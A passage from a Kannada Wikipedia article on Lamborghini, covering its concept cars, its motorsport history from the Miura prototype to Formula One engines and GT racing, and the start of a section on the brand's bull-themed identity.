ಮಿಯುರಾ ಹೊಸ ಕಲ್ಪನೆಯ ಕಾರು]], 2006ರಲ್ಲಿ ಪ್ರಸ್ತುತಪಡಿಸಲ್ಪಟ್ಟಿತು. ಹೊಸ ಕಲ್ಪನೆಯ ಕಾರಿನ ಉತ್ಪಾದನೆ ಪ್ರಾರಂಭವಾಗಲಿದೆ ಎಂಬುದನ್ನು ಅಧ್ಯಕ್ಷ ಮತ್ತು CEO ಸ್ಟೀಫನ್‌ ವಿಂಕಲ್‌ಮನ್‌ ನಿರಾಕರಿಸುತ್ತಾ, ಮಿಯುರಾ ಪರಿಕಲ್ಪನೆಯು "ನಮ್ಮ ಇತಿಹಾಸದ ಒಂದು ಆಚರಣೆಯಾಗಿದೆ, ಆದರೆ ಲಂಬೋರ್ಘಿನಿಯು ಭವಿಷ್ಯದ ಕುರಿತದ್ದಾಗಿದೆ. ಹಿಂದಣ ವಿನ್ಯಾಸವು ನಮ್ಮ ಈಗಿರುವ ಉದ್ದೇಶಕ್ಕೆ ಸಂಬಂಧಿಸಿದುದಲ್ಲ. ಹೀಗಾಗಿ ನಾವು [ಹೊಸ] ಮಿಯುರಾವನ್ನು ತಯಾರಿಸುವುದಿಲ್ಲ” ಎಂದು ಹೇಳಿದ.<ref>[http://www.autoweek.com/apps/pbcs.dll/article?AID=/20061019/FREE/61017003/1024/TOC01ARCHIVE ಲ್ಯಾಂಬೊ ಪ್ಲಾನ್ಸ್‌ - ಆಟೋವೀಕ್‌ ನಿಯತಕಾಲಿಕ]</ref> 2008ರ ಪ್ಯಾರಿಸ್ ಮೋಟಾರು ಪ್ರದರ್ಶನದಲ್ಲಿ, ನಾಲ್ಕು-ಬಾಗಿಲುಗಳ ಒಂದು [[ಸೆಡಾನ್‌]] ಪರಿಕಲ್ಪನೆಯಾದ [[ಎಸ್ಟೋಕ್‌]]ನ್ನು ಲಂಬೋರ್ಘಿನಿಯು ಅನಾವರಣಗೊಳಿಸಿತು. ಎಸ್ಟೋಕ್‌ ಮಾದರಿಯ ತರುವಾಯದ ಉತ್ಪಾದನೆಯ ಕುರಿತು <ref>{{Cite web |url=http://www.topgear.com/uk/car-news/lambo-paris |title=ಟಾಪ್‌ ಗೇರ್‌ - ಸೀಕ್ರೆಟ್‌ ನ್ಯೂ ಲ್ಯಾಂಬೊ ರಿವೀಲ್ಡ್‌ |access-date=2010-03-03 |archive-date=2010-01-10 |archive-url=https://web.archive.org/web/20100110162445/http://www.topgear.com/uk/car-news/lambo-paris |url-status=dead }}</ref><ref>[http://www.edmunds.com/insideline/do/Features/articleId=132648 ಎಡ್ಮಂಡ್ಸ್‌ ಇನ್‌ಸೈಡ್‌ ಲೈನ್‌ - ದಿ ರ್ಯಾಡಿಕಲ್‌ ಲಂಬೋರ್ಘಿನಿ ಸೆಡಾನ್‌ ಫ್ರಂ‌ ದಿ ಪ್ಯಾರಿಸ್‌ ಆಟೊ ಷೋ]</ref> ಸಾಕಷ್ಟು ಊಹನಗಳಿದ್ದರೂ ಸಹ, ಸ್ಯಾಂಟ್‌’ಅಗಾಟಾ ಕಾರ್ಖಾನೆಯಿಂದ ತಯಾರಾಗಿ ಆಚೆಗೆ ಬರಬಹುದಾದ ಮಾಲ್ಕು-ಬಾಗಿಲುಗಳ ಮೊದಲ ಕಾರಿನ ತಯಾರಿಕೆಯ ಕುರಿತು ಲಂಬೋರ್ಘಿನಿಯ ಆಡಳಿತ ಮಂಡಳಿಯು ಒಂದು ತೀರ್ಮಾನವನ್ನು ಕೈಗೊಂಡಿಲ್ಲ.<ref>[http://www.edmunds.com/insideline/do/News/articleId=144726 ಎಡ್ಮಂಡ್ಸ್‌ ಇನ್‌ಸೈಡ್‌ ಲೈನ್‌ - IL ಎಕ್ಸ್‌ಕ್ಲೂಸಿವ್‌: ನೋ ಗ್ರೀನ್‌ ಲೈಟ್‌ - ಯೆಟ್‌ - ಫಾರ್‌ ಲಂಬೋರ್ಘಿನಿ ಎಸ್ಟೋಕ್‌]</ref>{{-}} ==ವಾಹನಕ್ರೀಡೆ== [[File:Lamborghini miura svj spider 4808.jpg|thumb|right|ಒಂದು ರಹಸ್ಯದ ಮೂಲಮಾದರಿಯಾಗಿ ಮಿಯುರಾ ಪ್ರಾರಂಭವಾಯಿತು. ವಾಹನದ ಕ್ರೀಡೆಗೆ ಸಂಪೂರ್ಣವಾಗಿ ವಿರೋಧವನ್ನು ವ್ಯಕ್ತಪಡಿಸಿದ್ದ ಕಂಪನಿಯೊಂದರಲ್ಲಿ ಇದು ಒಂದು ಓಟದ ಒಂದ್ಯದ ಮೂಲವನ್ನು ಹೊಂದಿತ್ತು]] ತನ್ನ ಪ್ರತಿಸ್ಪರ್ಧಿ ಎಂಝೊ ಫೆರಾರಿಗೆ ಪ್ರತಿಯಾಗಿ, ಲಂಬೋರ್ಘಿನಿ ಕಾರುಗಳ ಯಾವುದೇ ಕಾರ್ಖಾನೆ-ಬೆಂಬಲಿತ ಪಂದ್ಯಾಟವೂ ಇರುವುದಿಲ್ಲ ಎಂದು ಮುಂಚಿತವಾಗಿಯೇ ಫೆರುಸ್ಸಿಯೋ ಲಂಬೋರ್ಘಿನಿ ತೀರ್ಮಾನಿಸಿದ್ದ. ವಾಹನಕ್ರೀಡೆಯು ತೀರಾ ದುಬಾರಿಯಾಗಿದ್ದು, ಇದರಿಂದಾಗಿ ಕಂಪನಿಯ ಸಂಪನ್ಮೂಲಗಳು ಬರಿದಾಗಿ ಬಿಡುತ್ತವೆ ಎಂಬುದು ಅವನ ದೃಷ್ಟಿಕೋನವಾಗಿತ್ತು.{{Citation needed|date=March 2007}} ಆ ಸಮಯಕ್ಕೆ ಇದು ಅಸಾಮಾನ್ಯವೆನಿಸಿತ್ತು. ಏಕೆಂದರೆ ಅನೇಕ ಕ್ರೀಡಾಕಾರು ತಯಾರಕರು ತಮ್ಮ ಕಾರುಗಳ ವೇಗ, ವಿಶ್ವಾಸಾರ್ಹತೆ, ಮತ್ತು ತಾಂತ್ರಿಕ ಶ್ರೇಷ್ಠತೆಗಳನ್ನು ವಾಹನಕ್ರೀಡೆಯಲ್ಲಿನ ಭಾಗವಹಿಸುವಿಕೆಯ ಮೂಲಕ ನಿರೂಪಿಸಲು ಪ್ರಯತ್ನಿಸುತ್ತಿದ್ದರು. ನಿರ್ದಿಷ್ಟವಾಗಿ ಹೇಳುವುದಾದರೆ, ತನ್ನ ರಸ್ತೆಯ ಕಾರು ವ್ಯವಹಾರವನ್ನು ವಾಹನದ ಓಟದ ಪಂದ್ಯದಲ್ಲಿ ತನ್ನ ಭಾಗವಹಿಸುವಿಕೆಗಾಗಿರುವ ಕೇವಲ ಒಂದು ಹಣಕಾಸಿನ ಮೂಲವಾಗಷ್ಟೇ ಪರಿಗಣಿಸುವಲ್ಲಿ ಎಂಝೊ ಫೆರಾರಿ ಹೆಸರುವಾಸಿಯಾಗಿದ್ದ. ಫೆರುಸ್ಸಿಯೋನ ಕಾರ್ಯನೀತಿಯು ಆತನ ಮತ್ತು ಅವನ ಎಂಜಿನಿಯರುಗಳ ನಡುವಿನ ಬಿಕ್ಕಟ್ಟುಗಳಿಗೆ ಕಾರಣವಾಯಿತು. ಅವರ ಪೈಕಿ ಬಹಳಷ್ಟು ಜನ ಓಟದ ಪಂದ್ಯಗಳಲ್ಲಿ ಉತ್ಸುಕರಾಗಿದ್ದರು; ಕೆಲವರು ಹಿಂದೆ ಫೆರಾರಿಯಲ್ಲಿ ಕೆಲಸವನ್ನೂ ಮಾಡಿದ್ದರು. ದಲಾರಾ, ಸ್ಟಾಂಝಾನಿ, ಮತ್ತು ವ್ಯಾಲೇಸ್‌ ಈ ಮೂವರು ತಮ್ಮ ಬಿಡುವಿನ ವೇಳೆಯನ್ನು, ಮಿಯುರಾ ಎಂದು ತರಯವಾಯದಲ್ಲಿ ಹೆಸರಾಗುವ P400 ಮೂಲಮಾದರಿಯ ಅಭಿವೃದ್ಧಿಯ ಕಡೆಗೆ ಅರ್ಪಿಸಲು ಪ್ರಾರಂಭಿಸಿದರು. ಓಟದ ಪಂದ್ಯದ ಮೂಲಗುಣದೊಂದಿಗೆ ಇದೊಂದು ರಸ್ತೆಯ ಕಾರು ಆಗಿರುವಂತೆ, ಓಟದ ಪಥದಲ್ಲಿ ಜಯಗಳಿಸಬಲ್ಲ ಹಾಗೂ ರಸ್ತೆಯಲ್ಲಿ ಉತ್ಸಾಹಿಗಳಿಂದ ಚಾಲನೆಗೆ ಒಳಗಾಗಬಲ್ಲ ಒಂದು ಮಾದರಿಯಾಗಿ ಇದನ್ನವರು ವಿನ್ಯಾಸಗೊಳಿಸಿದರು.<ref name="Jolliffe29" /> ಯೋಜನೆಯನ್ನು ಫೆರುಸ್ಸಿಯೋ ಆವಿಷ್ಕರಿಸಿದಾಗ, ಮುಂದುವರಿಯುವಂತೆ ಅವರಿಗೆ ಆತ ಅವಕಾಶ ನೀಡಿದ. ಈ ಮಾದರಿಯು ಪಂದ್ಯಾಟದಲ್ಲಿ ಭಾಗವಹಿಸುವುದು ಬೇಡ ಎಂದು ಒತ್ತಾಯಿಸುವುದರ ಜೊತೆಗೇ, ಇದನ್ನು ಕಂಪನಿಗಾಗಿರುವ ಒಂದು ಸಮರ್ಥ ಮಾರಾಟಗಾರಿಕೆಯ ಉಪಕರಣವಾಗಿಯೂ ಅವನು ನೋಡಿದ್ದ. ಲಂಬೋರ್ಘಿನಿಯ ಮೇಲ್ವಿಚಾರಣೆಯ ಅಡಿಯಲ್ಲಿ ಒಂದು ನಿಜವಾದ ಪಂದ್ಯದ ಕಾರನ್ನು ನಿರ್ಮಿಸಲು ಕಂಪನಿಯು ಹತ್ತಿರ ಬಂದಂತೆ, ಕೆಲವೊಂದು ಹೆಚ್ಚು ಮಾರ್ಪಾಡುಗೊಂಡ ಮೂಲಮಾದರಿಗಳು ಅಲ್ಲಿ ಕಂಡುಬಂದವು. ಮಿಯುರಾ SV-ಆಧರಿಸಿದ "ಜೋಟಾ" ಹಾಗೂ ಜರಮಾ S-ಆಧರಿತ "ಬಾಬ್‌ ವ್ಯಾಲೇಸ್‌ ವಿಶೇಷ"ದಂಥ ಕಾರ್ಖಾನೆಯ ಪರೀಕ್ಷಾರ್ಥ ಚಾಲನೆಯ ಚಾಲಕ ಬಾಬ್‌ ವ್ಯಾಲೇಸ್‌ನಿಂದ ನಿರ್ಮಿಸಲ್ಪಟ್ಟ ಮಾದರಿಗಳು ಇದರಲ್ಲಿ ಸೇರಿದ್ದವು. ಜಾರ್ಜಸ್‌-ಹೆನ್ರಿ ರೊಸೆಟ್ಟಿಯ ವ್ಯವಸ್ಥಾಪನೆಯ ಅಡಿಯಲ್ಲಿ, [[ಊರ್ಜಿತಗೊಳಿಸುವಿಕೆ]]ಗಾಗಿ ಸೂಕ್ತ ಪ್ರಮಾಣದಲ್ಲಿ ಒಂದು ಉತ್ಪಾದನಾ ಓಟದ ಪಂದ್ಯದ ಕಾರನ್ನು ನಿರ್ಮಿಸಲು ಲಂಬೋರ್ಘಿನಿಯು [[BMW]] ಜೊತೆಯಲ್ಲಿ ಒಂದು ಒಪ್ಪಂದವನ್ನು ಮಾಡಿಕೊಂಡಿತು. ಆದಾಗ್ಯೂ, ಒಪ್ಪಂದದ ತನ್ನ ಭಾಗವನ್ನು ಈಡೇರಿಸುವಲ್ಲಿ ಲಂಬೋರ್ಘಿನಿಯು ವಿಫಲಗೊಂಡಿತು. BMW ಮೋಟಾರ್‌ಸ್ಪೋರ್ಟ್‌ ವಿಭಾಗದಿಂದ ಆಂತರಿಕವಾಗಿ ಈ ಕಾರನ್ನು ತರುವಾಯ ಅಭಿವೃದ್ಧಿಗೊಳಿಸಲಾಯಿತು, ಮತ್ತು [[BMW M1]] ಎಂಬ ಹೆಸರಿನಲ್ಲಿ ತಯಾರಿಸಿ, ಮಾರಾಟಮಾಡಲಾಯಿತು.<ref>[http://www.is-it-a-lemon.com/used-car-history/bmw-m1.htm ಆಟೊ ಲೆಮನ್‌ - ಯೂಸ್ಡ್‌ ಕಾರ್‌ ಹಿಸ್ಟರಿ ಚೆಕ್‌: BMW M1]</ref><ref>{{Cite web |url=http://www.qv500.com/bmm1p1.php |title=BMW M1 ಕಾರ್‌ ಗೈಡ್‌ |access-date=2010-03-03 |archive-date=2016-03-04 |archive-url=https://web.archive.org/web/20160304111440/http://www.qv500.com/bmm1p1.php |url-status=dead }}</ref> [[File:Lotus 102B.jpg|thumb|left|1991ರಲ್ಲಿ ಬಂದ ಲೋಟಸ್‌ 102B ಮಾದರಿಯು, ಮೂಲ 102ರಲ್ಲಿ ಬಳಸಲಾಗಿದ್ದ ವಿಶ್ವಾಸಾರ್ಹವಲ್ಲದ ಲಂಬೋರ್ಘಿನಿ V12ರ ಜಾಗದಲ್ಲಿ ಒಂದು ಜೂಡ್‌ V8ನ್ನು ಒಳಗೊಂಡಿತ್ತು]] 1980ರ ದಶಕದಲ್ಲಿ, 1986ರ [[ಗ್ರೂಪ್‌ C]] ಚಾಂಪಿಯನ್‌ಷಿಪ್‌ ಅವಧಿಗಾಗಿ QVX ಮಾದರಿಯನ್ನು ಲಂಬೋರ್ಘಿನಿಯು ಅಭಿವೃದ್ಧಿಪಡಿಸಿತು. ಒಂದು ಕಾರನ್ನೇನೋ ನಿರ್ಮಿಸಲಾಯಿತು, ಆದರೆ ಪ್ರಾಯೋಜಕರ ಕೊರತೆಯಿಂದಾಗಿ ಅದು ಚಾಂಪಿಯನ್‌ಷಿಪ್‌ ಅವಧಿಯನ್ನು ತಪ್ಪಿಸಿಕೊಳ್ಳುವಂತಾಯಿತು. [[ಟಿಫ್‌ ನೀಡೆಲ್‌]]ನಿಂದ ಚಾಲಿಸಲ್ಪಟ್ಟ QVX ಮಾದರಿಯು ಕೇವಲ ಒಂದು ಓಟದಲ್ಲಿ ಸ್ಪರ್ಧಿಸಿತು. ಇದು [[ಕ್ಯಾಲಮಿ]]ಯಲ್ಲಿ ನಡೆದ ಚಾಂಪಿಯನ್‌ಗಿರಿಯದ್ದಲ್ಲದ 1986ರ ಸದರ್ನ್‌ ಸನ್ಸ್‌ 500 ಕಿಮೀ ಓಟದ ಪಂದ್ಯವಾಗಿತ್ತು. ತಾನು ಶುರುಮಾಡಿದ್ದಕ್ಕಿಂತಲೂ ಉತ್ತಮವಾಗಿ ಕಾರು ಅಂತಿಮಘಟ್ಟವನ್ನು ಮುಟ್ಟಿತಾದರೂ, ಮತ್ತೊಮ್ಮೆ ಪ್ರಾಯೋಜಕತೆಯ ಕೊರತೆ ಎದ್ದುಕಂಡಿತು. ಹೀಗಾಗಿ ಸದರಿ ಯೋಜನೆಯನ್ನು ರದ್ದುಮಾಡಲಾಯಿತು.<ref>{{Cite web |url=http://www.qv500.com/lamborghiniqvxp1.php |title=ಲಂಬೋರ್ಘಿನಿ QVX ಕಾರ್‌ ಗೈಡ್‌ |access-date=2010-03-03 |archive-date=2009-06-24 |archive-url=https://web.archive.org/web/20090624160506/http://www.qv500.com/lamborghiniqvxp1.php |url-status=dead }}</ref> [[1989]] ಮತ್ತು [[1993ರ ಫಾರ್ಮುಲಾ ಒನ್‌ ಸೀಸನ್‌]]ಗಳ ನಡುವಣ ಅವಧಿಯಲ್ಲಿನ [[ಫಾರ್ಮುಲಾ ಒನ್‌]]ನಲ್ಲಿ ಲಂಬೋರ್ಘಿನಿಯು ಓರ್ವ ಎಂಜಿನ್‌ ಸರಬರಾಜುದಾರನಾಗಿತ್ತು. [[ಲ್ಯಾರೌಸ್ಸೆ]] (1989-1990,1992-1993), [[ಲೋಟಸ್‌]] (1990), [[ಲಿಗಿಯೆರ್‌]] (1991), [[ಮಿನಾರ್ಡಿ]] (1992), ಮತ್ತು 1991ರಲ್ಲಿನ [[ಮೊದೆನಾ]] ತಂಡಕ್ಕೆ ಇದು ಎಂಜಿನ್‌ಗಳನ್ನು ಸರಬರಾಜುಮಾಡಿತು. ಮೊದೆನಾ ತಂಡವನ್ನು ಸಾಮಾನ್ಯವಾಗಿ ಕಾರ್ಖಾನೆಯ ಒಂದು ತಂಡ ಎಂದು ಉಲ್ಲೇಖಿಸಲಾಗುವ ಸಂದರ್ಭದಲ್ಲಿಯೇ, ಕಂಪನಿಯು ತನ್ನನ್ನು ಓರ್ವ ಸರಬರಾಜುದಾರನಾಗಿ ಕಂಡುಕೊಂಡಿತೇ ಹೊರತು, ಓರ್ವ ಬೆಂಬಲಿಗನಾಗಿ ಅಲ್ಲ. 1992ರಲ್ಲಿ ಲ್ಯಾರೌಸ್ಸೆ–ಲಂಬೋರ್ಘಿನಿಯು ಹೆಚ್ಚಿನ ರೀತಿಯಲ್ಲಿ ಅಸ್ಪರ್ಧಾತ್ಮಕವಾಗಿತ್ತಾದರೂ, ತನ್ನ ನಿರ್ವಾತಕ ವ್ಯವಸ್ಥೆಯಿಂದ ತೈಲವನ್ನು ಹೊರಹಾಕುವ ತನ್ನ ಪ್ರವೃತ್ತಿಯಿಂದಾಗಿ ಗಮನಾರ್ಹವಾಗಿತ್ತು. ಲ್ಯಾರೌಸ್ಸೆಯನ್ನು ಸನಿಹದಲ್ಲೇ ಅನುಸರಿಸಿಕೋಂಡು ಬರುತ್ತಿದ್ದ ಕಾರುಗಳು ಓಟದ ಪಂದ್ಯದ ಅಂತ್ಯದ ವೇಳೆಗೆ ಸಾಮಾನ್ಯವಾಗಿ ಹಳದಿಮಿಶ್ರಿತ-ಕಂದುಬಣ್ಣದವಾಗಿರುತ್ತಿದ್ದವು.{{Citation needed|date=July 2008}} 1991ರ ಆಂತ್ಯದಲ್ಲಿ, ಲಂಬೋರ್ಘಿನಿ ಫಾರ್ಮುಲಾ ಒನ್‌ ಮೋಟಾರು ಒಂದನ್ನು [[ಕೊನಾರ್ಡ್‌ KM-011]] [[‌ಗ್ರೂಪ್‌ C]] ಕ್ರೀಡಾಕಾರಿನಲ್ಲಿ ಬಳಸಲಾಯಿತಾದರೂ, ಯೋಜನೆಯು ರದ್ದುಗೊಳ್ಳುವುದಕ್ಕೆ ಮುಂಚಿನ ಕೆಲವೇ ಓಟದ ಪಂದ್ಯಗಳಲ್ಲಿ ಸದರಿ ಕಾರು ಬಾಳಿಕೆಬಂತು. ಆಗಿನ ಮೂಲ ಕಂಪನಿಯಾದ ಲಂಬೋರ್ಘಿನಿಯಿಂದ ಒಂದು [[ಕ್ರಿಸ್ಲರ್‌]] ಆಗಿ ಮರು-ಸೂಚಿತಗೊಂಡ ಅದೇ ಎಂಜಿನ್ನು, 1993ರ ಪಂದ್ಯದ ಅವಧಿಯ ಅಂತ್ಯದ ವೇಳೆಗೆ [[ಮೆಕ್‌ಲ್ಯಾರೆನ್‌]]ನಿಂದ ಪರೀಕ್ಷಿಸಲ್ಪಟ್ಟಿತು. [[1994ರ ಪಂದ್ಯದ ಅವಧಿ]]ಯಲ್ಲಿ ಇದನ್ನು ಬಳಸುವ ಉದ್ದೇಶವು ಈ ಪರೀಕ್ಷೆಯ ಹಿಂದಿತ್ತು. ಎಂಜಿನ್‌ನ ನಿರ್ವಹಣೆಯನ್ನು ಕಂಡು ಚಾಲಕ [[ಐರ್ಟನ್‌ ಸೆನ್ನಾ]] ಪ್ರಭಾವಿತನಾಗಿದ್ದ ಎಂದು ವರದಿಯಾಗಿದ್ದರೂ ಸಹ, ಸಂಧಾನದ ಮಾತುಕತೆಗಳಿಂದ ಮೆಕ್‌ಲ್ಯಾರೆನ್‌ ಹೀಂದೆಸರಿದು, ಅದರ ಬದಲಿಗೆ ಒಂದು [[ಪಿಯುಗಿಯೊ]] ಎಂಜಿನ್ನನ್ನು ಆಯ್ದುಕೊಂಡಿತು, ಮತ್ತು ಯೋಜನೆಯನ್ನು ಕ್ರಿಸ್ಲರ್‌ ಅಂತ್ಯಗೊಳಿಸಿತು. [[File:Reiter Lambo.jpg|thumb|right|2006ರಲ್ಲಿ ಸಿಲ್ವರ್‌ಸ್ಟೋನ್‌ನಲ್ಲಿ ನಡೆದ FIA GT ಚಾಂಪಿಯನ್‌ಷಿಪ್‌ನಲ್ಲಿ ಭಾಗವಹಿಸುತ್ತಿರುವ ಒಂದು ಮರ್ಸಿಕ್ಯಾಗೊ R-GT ಮಾದರಿ]] ಡಯಾಬ್ಲೊನ ಎರಡು ಓಟದ ಪಂದ್ಯದ ಆವೃತ್ತಿಗಳು ಡಯಾಬ್ಲೊ ಸೂಪರ್‌ಟ್ರೋಫಿಗಾಗಿ ನಿರ್ಮಿಸಲ್ಪಟ್ಟವು. ಇದು 1996ರಿಂದ 1999ರವರೆಗೆ ಆಯೋಜಿಸಲ್ಪಟ್ಟಿದ್ದ ಒಂದು ಏಕ-ಮಾದರಿಯ ಓಟದ ಪಂದ್ಯದ ಸರಣಿಯಾಗಿತ್ತು. ಮೊದಲ ವರ್ಷದಲ್ಲಿ, ಸರಣಿಯಲ್ಲಿ ಬಳಸಲಾದ ಮಾದರಿಯು ಡಯಾಬ್ಲೊ SVR ಆಗಿದ್ದರೆ, ಡಯಾಬ್ಲೊ 6.0 GTR ಮಾದರಿಯನ್ನು ಉಳಿದ ಮೂರು ವರ್ಷಗಳ ಅವಧಿಗಾಗಿ ಬಳಸಲಾಯಿತು.<ref>{{Cite web |url=http://www.qv500.com/lamborghinidiablop11.php |title=ಲಂಬೋರ್ಘಿನಿ ಡಯಾಬ್ಲೊ SVR |access-date=2010-03-03 |archive-date=2010-03-02 |archive-url=https://web.archive.org/web/20100302023504/http://www.qv500.com/lamborghinidiablop11.php |url-status=dead }}</ref><ref>{{Cite web |url=http://www.qv500.com/lamborghinidiablop13.php |title=ಲಂಬೋರ್ಘಿನಿ ಡಯಾಬ್ಲೊ 6.0 GTR ಕಾರ್‌ ಗೈಡ್‌ |access-date=2010-03-03 |archive-date=2010-03-02 |archive-url=https://web.archive.org/web/20100302023215/http://www.qv500.com/lamborghinidiablop13.php |url-status=dead }}</ref> 2004ರಲ್ಲಿ ನಡೆದ [[ಅಮೆರಿಕಾದ ಕೆ ಮ್ಯಾನ್ಸ್‌ ಸರಣಿ]], [[ಸೂಪರ್‌ GT]] ಚಾಂಪಿಯನ್‌ಷಿಪ್‌ ಮತ್ತು [[FIA GT ಚಾಂಪಿಯನ್‌ಷಿಪ್‌]]ನಲ್ಲಿ ಭಾಗವಹಿಸಲು ಒಂದು ಉತ್ಪಾದನಾ ಓಟದ ಪಂದ್ಯದ ಕಾರಿನಂತೆ ಮರ್ಸಿಲ್ಯಾಗೊ R-GTಯನ್ನು ಲಂಬೋರ್ಘಿನಿ ಅಭಿವೃದ್ಧಿಪಡಿಸಿತು. [[ವೆಲೆನ್ಸಿಯಾ]]ದಲ್ಲಿ ನಡೆದ FIA GT ಚಾಂಪಿಯನ್‌ಷಿಪ್‌ನ ಆರಂಭಿಕ ಸುತ್ತು, ಆ ವರ್ಷದ ಯಾವುದೇ ಓಟದ ಪಂದ್ಯದಲ್ಲಿನ ಕಾರಿನ ಉನ್ನತ ಸ್ಥಾನಕಲ್ಪಿಸುವಿಕೆಯಾಗಿತ್ತು. ಇಲ್ಲಿ [[ರೀಟರ್‌ ಎಂಜಿನಿಯರಿಂಗ್‌]]ನಿಂದ ಪ್ರವೇಶಕ್ಕೊಳಗಾದ ಕಾರು, ಆರಂಭದಲ್ಲಿ ಐದನೇ-ಸ್ಥಾನದಲ್ಲಿದ್ದರೂ ಮುಕ್ತಾಯದ ಹಂತಕ್ಕೆ ಬರುವಾಗ ಮೂರನೇ ಸ್ಥಾನದಲ್ಲಿತ್ತು.<ref>{{Cite web |url=http://www.qv500.com/lamborghinimurcielagop3.php |title=ಲಂಬೋರ್ಘಿನಿ ಮರ್ಸಿಲ್ಯಾಗೊ R-GT ಕಾರ್‌ ಗೈಡ್‌ |access-date=2010-03-03 |archive-date=2010-03-02 |archive-url=https://web.archive.org/web/20100302023246/http://www.qv500.com/lamborghinimurcielagop3.php |url-status=dead }}</ref><ref>{{Cite web |url=http://www.qv500.com/lamborghinimurcielagop4.php |title=ಲಂಬೋರ್ಘಿನಿ ಮರ್ಸಿಲ್ಯಾಗೊ R-GT 2004 ಸೀಸನ್‌ |access-date=2010-03-03 |archive-date=2009-04-23 |archive-url=https://web.archive.org/web/20090423110619/http://www.qv500.com/lamborghinimurcielagop4.php |url-status=dead }}</ref> 2006ರಲ್ಲಿ, [[ಸುಝುಕಾ]]ದಲ್ಲಿ ನಡೆದ ಸೂಪರ್‌ GT ಚಾಂಪಿಯನ್‌ಷಿಪ್‌ನ ಆರಂಭಿಕ ಸುತ್ತಿನ ಅವಧಿಯಲ್ಲಿ, ಜಪಾನಿನ ಲಂಬೋರ್ಘಿನಿ ಮಾಲೀಕರ ಕೂಟದಿಂದ ಓಡಿಸಲ್ಪಟ್ಟ ಒಂದು ಕಾರು ಮೊದಲ ವಿಜಯವನ್ನು (ವರ್ಗದಲ್ಲಿ) ಸಂಚಯಿಸಿತು. ಇದು ಒಂದು R-GTಯಿಂದ ಕೈಗೂಡಿತು. ಗಲ್ಲಾರ್ಡೊದ ಒಂದು [[GT3]] ಆವೃತ್ತಿಯು [[ರೀಟರ್‌ ಎಂಜಿನಿಯರಿಂಗ್‌]]ನಿಂದ ಅಭಿವೃದ್ಧಿಪಡಿಸಲ್ಪಟ್ಟಿದೆ.<ref>{{Cite web |url=http://www.qv500.com/lamborghinigallardop5.php |title=ಲಂಬೋರ್ಘಿನಿ ಗಲ್ಲಾರ್ಡೊ GT3 ಕಾರ್‌ ಗೈಡ್‌ |access-date=2010-03-03 |archive-date=2010-06-10 |archive-url=https://web.archive.org/web/20100610061606/http://www.qv500.com/lamborghinigallardop5.php |url-status=dead }}</ref> All-Inkl.com ರೇಸಿಂಗ್‌ನಿಂದ ಪ್ರವೇಶಕ್ಕೊಳಗಾದ ಒಂದು ಮರ್ಸಿಲ್ಯಾಗೊ R-GT, [[ಕ್ರಿಸ್ಟೋಫೆ ಬೌಷಟ್‌]] ಹಾಗೂ ಸ್ಟೀಫನ್‌ ಮ್ಯೂಕೆಯಿಂದ ಚಾಲಿಸಲ್ಪಡುತ್ತಿತ್ತು, ಮತ್ತು ಇದು [[ಝುಹಾಯಿ ಇಂಟರ್‌ನ್ಯಾಷನಲ್‌ ಸರ್ಕ್ಯೂಟ್‌]]ನಲ್ಲಿ ಆಯೋಜಿಸಲಾದ [[FIA GT ಚಾಂಪಿಯನ್‌ಷಿಪ್‌]]ನ ಆರಂಭಿಕ ಸುತ್ತನ್ನು ಗೆದ್ದುಕೊಂಡು, ತನ್ಮೂಲಕ ಲಂಬೋರ್ಘಿನಿಗಾಗಿ ಒಂದು ಮೊದಲ ಪ್ರಮುಖ ಅಂತರರಾಷ್ಟ್ರೀಯ ಓಟದ ಪಂದ್ಯದ ವಿಜಯವನ್ನು ತಂದುಕೊಟ್ಟಿತು.<ref>{{Cite web |url=http://www.fiagt.com/results.php |title=FIA GT ಚಾಂಪಿಯನ್‌ಷಿಪ್‌ ಫಲಿತಾಂಶಗಳು: 2007 ಸುತ್ತು 1 - ಝುಹಾಯಿ |access-date=2010-03-03 |archive-date=2010-01-03 |archive-url=https://web.archive.org/web/20100103182715/http://fiagt.com/results.php |url-status=dead }}</ref> ==ಗುರುತು== [[File:Lamborghini logotype.jpg|thumb|left|ತನ್ನ ಕಾರುಗಳ ಹಿಂಭಾಗದಲ್ಲಿ ಪ್ರದರ್ಶಿಸಲಾಗಿರುವಂತೆ ಲಂಬೋರ್ಘಿನಿ ಪದಗುರುತು]] [[ಗೂಳಿಕಾಳಗ]]ದ ಪ್ರಪಂಚವು ಲಂಬೋರ್ಘಿನಿಯ ಗುರುತಿನ ಒಂದು ಪ್ರಮುಖ ಭಾಗವಾಗಿದೆ.<ref>ಕಾಕರ್‌ಹ್ಯಾಂ, ಪಾಲ್‌ W. ''ಲಂಬೋರ್ಘಿನಿ: ದಿ ಸ್ಪಿರಿಟ್‌ ಆಫ್‌ ದಿ ಬುಲ್‌'' ಟೈಗರ‍್ ಬುಕ್ಸ್‌, 1997</ref><ref>ಸ್ಕ್ಲೀಫರ್‌, ಜೇ. ''ಲಂಬೋರ್ಘಿನಿ: ಇಟಲೀಸ್‌ ರೇಜಿಂಗ್‌ ಬುಲ್‌'' ಕ್ರೆಸ್ಟ್‌ವುಡ್‌ ಹೌಸ್‌, 1993</ref><ref>{{cite web|url=http://jalopnik.com/298911/the-baddest-bull-lamborghini-miura-vs-countach-vs-murcielago-lp640|title=The Baddest Bull: Lamborghini Miura Vs Countach Vs Murcielago LP640|last=Lieberman|first=Jonny|date=September 12, 2007}}</ref> [[ಸ್ಪ್ಯಾನಿಷ್‌ ಕಾಳಗದ ಗೂಳಿಗಳ]] ಓರ್ವ ಸುಪ್ರಸಿದ್ಧ ತಳಿಸೃಷ್ಟಿಗಾರನಾದ [[ಡಾನ್‌ ಎಡ್ವರ್ಡೊ ಮಿಯುರಾ]]ನ ಸೆವಿಲ್‌ ಕಿತ್ತಳೆಯ ಕೃಷಿಕ್ಷೇತ್ರಕ್ಕೆ 1962ರಲ್ಲಿ ಲಂಬೋರ್ಘಿನಿ ಭೇಟಿನೀಡಿದ್ದ. ಸ್ವತಃ ಓರ್ವ [[ವೃಷಭ ರಾಶಿ]]ಯವನಾದ ಲಂಬೋರ್ಘಿನಿಯು ಅಲ್ಲಿದ್ದ ಘನಗಾಂಭೀರ್ಯದ ಮಿಯುರಾ ಪ್ರಾಣಿಗಳಿಂದ ಅತೀವವಾಗಿ ಪ್ರಭಾವಿತನಾಗಿ, ತಾನು ಸದ್ಯದಲ್ಲಿಯೇ ಪ್ರಾರಂಭಿಸಲು ಹೊರಟಿದ್ದ ಮೋಟಾರು ಕಾರು ತಯಾರಕ ಕಂಪನಿಯ 